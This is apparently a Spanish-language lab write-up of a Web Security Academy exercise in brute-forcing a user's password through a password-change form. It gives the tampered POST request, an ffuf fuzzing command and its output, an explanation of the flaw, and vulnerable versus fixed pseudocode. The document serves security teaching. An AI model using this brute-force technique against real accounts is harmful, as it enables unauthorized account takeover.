← Writeups

12 Password brute force via password change

Al probar contrasenas para el usuario carlos, obtenemos un mensaje de Rate Limit, luego Al iniciar sesion con nuestras credenciales, obtenemos acceso a un panel de reset de contrasenas, al interceptar la solicitud de cambio de contrasena, se observa que existe un campo user en la solicitud POST, la cual indicaria un posible vector de ataque para actualizar el campo de contrasaenas a otros usuarios.

POST /my-account/change-password HTTP/2
Host: 0a7c005003289e1b835e320a0023002c.web-security-academy.net 

username=wiener&current-password=peter&new-password-1=peter&new-password-2=peter

Continuando con el benchmark, ocurren estoscasos:

  1. contrasena correcta + contrasenas nuevas escritas de forma diferente: New passwords do not match
  2. Contrasena incorrecta + contrasenas que coinciden: redireccion a login /login

En conclusion, nuestro indicador para reconocer que hemos logrado dar con la contrasena correcta es el filtrar por las respustas que contengan el texto New passwords do not match

POST /my-account/change-password HTTP/2
Host: 0a7c005003289e1b835e320a0023002c.web-security-academy.net
Cookie: session=sWcAxfi6zFZmJXnzRASVIBFgvM3adzol; session=wBGsS0hbZR78gRlC3s7FynBmxO48Z8Hh
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:147.0) Gecko/20100101 Firefox/147.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 77
Origin: https://0a7c005003289e1b835e320a0023002c.web-security-academy.net
Referer: https://0a7c005003289e1b835e320a0023002c.web-security-academy.net/my-account?id=wiener
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
X-Pwnfox-Color: cyan
Priority: u=0, i
Te: trailers

username=carlos&current-password=FUZZ&new-password-1=abc&new-password-2=123

Metodo 1 : Fuzz

 ~/go/bin/ffuf -request enum.txt -w pass.txt:FUZZ -t 1000 -c -mr "New passwords do not match"

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : https://0a7c005003289e1b835e320a0023002c.web-security-academy.net/my-account/change-password
 :: Wordlist         : FUZZ: /home/computadora/writeups/pass.txt
 :: Header           : Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 :: Header           : Referer: https://0a7c005003289e1b835e320a0023002c.web-security-academy.net/my-account?id=wiener
 :: Header           : Upgrade-Insecure-Requests: 1
 :: Header           : Host: 0a7c005003289e1b835e320a0023002c.web-security-academy.net
 :: Header           : Accept-Language: en-US,en;q=0.9
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Header           : Origin: https://0a7c005003289e1b835e320a0023002c.web-security-academy.net
 :: Header           : Sec-Fetch-Dest: document
 :: Header           : Sec-Fetch-Site: same-origin
 :: Header           : Sec-Fetch-User: ?1
 :: Header           : Cookie: session=sWcAxfi6zFZmJXnzRASVIBFgvM3adzol; session=wBGsS0hbZR78gRlC3s7FynBmxO48Z8Hh
 :: Header           : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:147.0) Gecko/20100101 Firefox/147.0
 :: Header           : Accept-Encoding: gzip, deflate, br
 :: Header           : Sec-Fetch-Mode: navigate
 :: Header           : X-Pwnfox-Color: cyan
 :: Header           : Priority: u=0, i
 :: Header           : Te: trailers
 :: Data             : username=carlos&current-password=FUZZ&new-password-1=abc&new-password-2=123
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 1000
 :: Matcher          : Regexp: New passwords do not match
________________________________________________

matrix                  [Status: 200, Size: 3981, Words: 1587, Lines: 77, Duration: 202ms]
:: Progress: [100/100] :: Job [1/1] :: 24 req/sec :: Duration: [0:00:04] :: Errors: 0 ::

La vulnerabilidad ocurre porque el endpoint /my-account/change-password permite modificar el parámetro username en la solicitud POST y no valida que coincida con el usuario autenticado en sesión. Además, el sistema revela comportamientos distintos según si la contraseña actual es correcta o no: cuando es incorrecta redirige a /login, y cuando es correcta pero las nuevas no coinciden responde con New passwords do not match. Esta diferencia de respuesta crea un side-channel lógico que permite realizar enumeración y fuerza bruta de la contraseña de carlos desde una cuenta autenticada, eludiendo el rate limit aplicado en /login. Es un caso de Broken Access Control y Authentication Response Discrepancy según OWASP.

# Implementación vulnerable

# POST /my-account/change-password
if valid_session():

    user = request.username   # ❌ Confía en parámetro manipulable

    if not valid_password(user, request.current_password):
        redirect("/login")    # ❌ Respuesta diferenciada

    if request.new_password_1 != request.new_password_2:
        return "New passwords do not match"  # ❌ Oráculo de validación

    update_password(user, request.new_password_1)
# Implementación segura

if not valid_session():
    deny()

if request.username != session.user:
    deny()

if not valid_password(session.user, request.current_password):
    return generic_error()  # misma respuesta siempre

if request.new_password_1 != request.new_password_2:
    return generic_error()

update_password(session.user, request.new_password_1)